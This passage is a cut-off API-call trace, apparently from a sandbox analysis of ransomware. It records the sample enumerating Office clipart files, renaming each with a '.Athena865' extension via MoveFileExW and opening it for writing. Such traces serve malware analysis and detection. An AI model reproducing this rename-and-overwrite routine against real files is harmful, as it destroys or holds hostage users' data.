files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.073] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2582) returned 1 [0135.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SUMER_01.MID" | out: lpString1="SUMER_01.MID") returned="SUMER_01.MID" [0135.076] lstrlenW (lpString="SUMER_01.MID") returned 12 [0135.076] lstrlenW (lpString="Athena865") returned 9 [0135.076] lstrcmpiW (lpString1="ER_01.MID", lpString2="Athena865") returned 1 [0135.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.Athena865") returned 73 [0135.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14044) returned 1 [0135.081] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SWEST_01.MID" | out: lpString1="SWEST_01.MID") returned="SWEST_01.MID" [0135.081] lstrlenW (lpString="SWEST_01.MID") returned 12 [0135.081] lstrlenW (lpString="Athena865") returned 9 [0135.081] lstrcmpiW (lpString1="ST_01.MID", lpString2="Athena865") returned 1 [0135.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.Athena865") returned 73 [0135.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.083] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8501) returned 1 [0135.086] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00110_.WMF" | out: lpString1="SY00110_.WMF") returned="SY00110_.WMF" [0135.086] lstrlenW (lpString="SY00110_.WMF") returned 12 [0135.086] lstrlenW (lpString="Athena865") returned 9 [0135.086] lstrcmpiW (lpString1="0110_.WMF", lpString2="Athena865") returned -1 [0135.086] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.Athena865") returned 73 [0135.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1264) returned 1 [0135.091] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00127_.WMF" | out: lpString1="SY00127_.WMF") returned="SY00127_.WMF" [0135.091] lstrlenW (lpString="SY00127_.WMF") returned 12 [0135.091] lstrlenW (lpString="Athena865") returned 9 [0135.091] lstrcmpiW (lpString1="0127_.WMF", lpString2="Athena865") returned -1 [0135.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.Athena865") returned 73 [0135.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.093] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6212) returned 1 [0135.096] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00132_.WMF" | out: lpString1="SY00132_.WMF") returned="SY00132_.WMF" [0135.096] lstrlenW (lpString="SY00132_.WMF") returned 12 [0135.096] lstrlenW (lpString="Athena865") returned 9 [0135.096] lstrcmpiW (lpString1="0132_.WMF", lpString2="Athena865") returned -1 [0135.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.Athena865") returned 73 [0135.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.098] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2076) returned 1 [0135.101] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00170_.WMF" | out: lpString1="SY00170_.WMF") returned="SY00170_.WMF" [0135.101] lstrlenW (lpString="SY00170_.WMF") returned 12 [0135.101] lstrlenW (lpString="Athena865") returned 9 [0135.101] lstrcmpiW (lpString1="0170_.WMF", lpString2="Athena865") returned -1 [0135.101] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.Athena865") returned 73 [0135.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.105] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5138) returned 1 [0135.112] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00560_.WMF" | out: lpString1="SY00560_.WMF") returned="SY00560_.WMF" [0135.112] lstrlenW (lpString="SY00560_.WMF") returned 12 [0135.112] lstrlenW (lpString="Athena865") returned 9 [0135.112] lstrcmpiW (lpString1="0560_.WMF", lpString2="Athena865") returned -1 [0135.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.Athena865") returned 73 [0135.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.114] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1292) returned 1 [0135.117] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00642_.WMF" | out: lpString1="SY00642_.WMF") returned="SY00642_.WMF" [0135.117] lstrlenW (lpString="SY00642_.WMF") returned 12 [0135.117] lstrlenW (lpString="Athena865") returned 9 [0135.117] lstrcmpiW (lpString1="0642_.WMF", lpString2="Athena865") returned -1 [0135.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.Athena865") returned 73 [0135.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.119] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1912) returned 1 [0135.121] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00788_.WMF" | out: lpString1="SY00788_.WMF") returned="SY00788_.WMF" [0135.121] lstrlenW (lpString="SY00788_.WMF") returned 12 [0135.121] lstrlenW (lpString="Athena865") returned 9 [0135.121] lstrcmpiW (lpString1="0788_.WMF", lpString2="Athena865") returned -1 [0135.121] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.Athena865") returned 73 [0135.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.123] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8340) returned 1 [0135.126] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00792_.WMF" | out: lpString1="SY00792_.WMF") returned="SY00792_.WMF" [0135.126] lstrlenW (lpString="SY00792_.WMF") returned 12 [0135.126] lstrlenW (lpString="Athena865") returned 9 [0135.126] lstrcmpiW (lpString1="0792_.WMF", lpString2="Athena865") returned -1 [0135.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.Athena865") returned 73 [0135.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12252) returned 1 [0135.139] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00795_.WMF" | out: lpString1="SY00795_.WMF") returned="SY00795_.WMF" [0135.139] lstrlenW (lpString="SY00795_.WMF") returned 12 [0135.139] lstrlenW (lpString="Athena865") returned 9 [0135.139] lstrcmpiW (lpString1="0795_.WMF", lpString2="Athena865") returned -1 [0135.139] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.Athena865") returned 73 [0135.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.142] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10084) returned 1 [0135.145] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY00882_.WMF" | out: lpString1="SY00882_.WMF") returned="SY00882_.WMF" [0135.145] lstrlenW (lpString="SY00882_.WMF") returned 12 [0135.145] lstrlenW (lpString="Athena865") returned 9 [0135.145] lstrcmpiW (lpString1="0882_.WMF", lpString2="Athena865") returned -1 [0135.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.Athena865") returned 73 [0135.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.149] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2480) returned 1 [0135.153] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01006_.WMF" | out: lpString1="SY01006_.WMF") returned="SY01006_.WMF" [0135.153] lstrlenW (lpString="SY01006_.WMF") returned 12 [0135.153] lstrlenW (lpString="Athena865") returned 9 [0135.153] lstrcmpiW (lpString1="1006_.WMF", lpString2="Athena865") returned -1 [0135.153] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.Athena865") returned 73 [0135.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.154] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1588) returned 1 [0135.157] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01252_.WMF" | out: lpString1="SY01252_.WMF") returned="SY01252_.WMF" [0135.157] lstrlenW (lpString="SY01252_.WMF") returned 12 [0135.157] lstrlenW (lpString="Athena865") returned 9 [0135.157] lstrcmpiW (lpString1="1252_.WMF", lpString2="Athena865") returned -1 [0135.157] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.Athena865") returned 73 [0135.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.159] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10036) returned 1 [0135.162] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01253_.WMF" | out: lpString1="SY01253_.WMF") returned="SY01253_.WMF" [0135.162] lstrlenW (lpString="SY01253_.WMF") returned 12 [0135.163] lstrlenW (lpString="Athena865") returned 9 [0135.163] lstrcmpiW (lpString1="1253_.WMF", lpString2="Athena865") returned -1 [0135.163] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.Athena865") returned 73 [0135.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.164] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1930) returned 1 [0135.171] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01462_.WMF" | out: lpString1="SY01462_.WMF") returned="SY01462_.WMF" [0135.171] lstrlenW (lpString="SY01462_.WMF") returned 12 [0135.171] lstrlenW (lpString="Athena865") returned 9 [0135.171] lstrcmpiW (lpString1="1462_.WMF", lpString2="Athena865") returned -1 [0135.171] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.Athena865") returned 73 [0135.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.178] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=806) returned 1 [0135.182] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01491_.WMF" | out: lpString1="SY01491_.WMF") returned="SY01491_.WMF" [0135.182] lstrlenW (lpString="SY01491_.WMF") returned 12 [0135.182] lstrlenW (lpString="Athena865") returned 9 [0135.182] lstrcmpiW (lpString1="1491_.WMF", lpString2="Athena865") returned -1 [0135.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.Athena865") returned 73 [0135.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1136) returned 1 [0135.186] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01563_.WMF" | out: lpString1="SY01563_.WMF") returned="SY01563_.WMF" [0135.186] lstrlenW (lpString="SY01563_.WMF") returned 12 [0135.186] lstrlenW (lpString="Athena865") returned 9 [0135.186] lstrcmpiW (lpString1="1563_.WMF", lpString2="Athena865") returned -1 [0135.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.Athena865") returned 73 [0135.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5060) returned 1 [0135.191] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SY01572_.WMF" | out: lpString1="SY01572_.WMF") returned="SY01572_.WMF" [0135.191] lstrlenW (lpString="SY01572_.WMF") returned 12 [0135.191] lstrlenW (lpString="Athena865") returned 9 [0135.191] lstrcmpiW (lpString1="1572_.WMF", lpString2="Athena865") returned -1 [0135.191] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.Athena865") returned 73 [0135.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.193] GetFileSizeEx (in: 